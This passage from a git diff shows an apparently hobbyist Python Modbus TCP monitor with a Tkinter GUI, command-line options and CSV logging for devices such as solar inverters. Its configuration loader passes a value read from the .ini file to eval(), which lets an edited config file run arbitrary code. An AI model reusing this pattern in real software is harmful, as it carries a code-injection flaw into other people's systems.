starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print (data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from Tkinter import * + from tkMessageBox import * + from tkFileDialog import * + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print 'Error. No graphical interface found. Try "python pymodmon.py -h" for help.' + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print 'single run' + exit() diff --git a/modbus/misc/pymodmon_3.py b/modbus/misc/pymodmon_3.py new file mode 100644 index 0000000..0206242 --- /dev/null +++ b/modbus/misc/pymodmon_3.py @@ -0,0 +1,979 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 3.7, pymodbus, docopt +# +# Date created: 2019-02-25 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print('Could not read configuration file. Please check file path and/or file.') + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import configparser + Config = configparser.ConfigParser() + ## read the config file + Config.read(data.inifilename, encoding="utf-8") + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + import io ## required for correct writing of unicode characters to file + ## use ini file capabilities + import configparser + Config = configparser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = io.open(data.inifilename,'w',encoding="utf-8") + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',str(data.ipaddress)) + Config.set('CommSettings','port number',str(data.portno)) + Config.set('CommSettings','Modbus ID',str(data.modbusid)) + Config.set('CommSettings','manufacturer',str(data.manufacturer)) + Config.set('CommSettings','logger interval',str(data.loginterval)) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',str(data.logfilename)) + Config.set('FileSettings','log buffer',str(data.logmaxbuffer)) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',str(data.datasets)) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + import io ## required for correct writing of utf-8 characters + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print(data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4]) + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with io.open(thislogfile,'at', encoding="utf-8") as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + messagebox.showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print(thiserrormessage) + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32).decode("utf-8").strip('\x00') ## convert bytes to str + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print('Current datasets: '),(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print('') + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print('PyModMon has exited cleanly.') + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = str(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = str(self.input_ipaddress.get()) + except: + messagebox.showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID 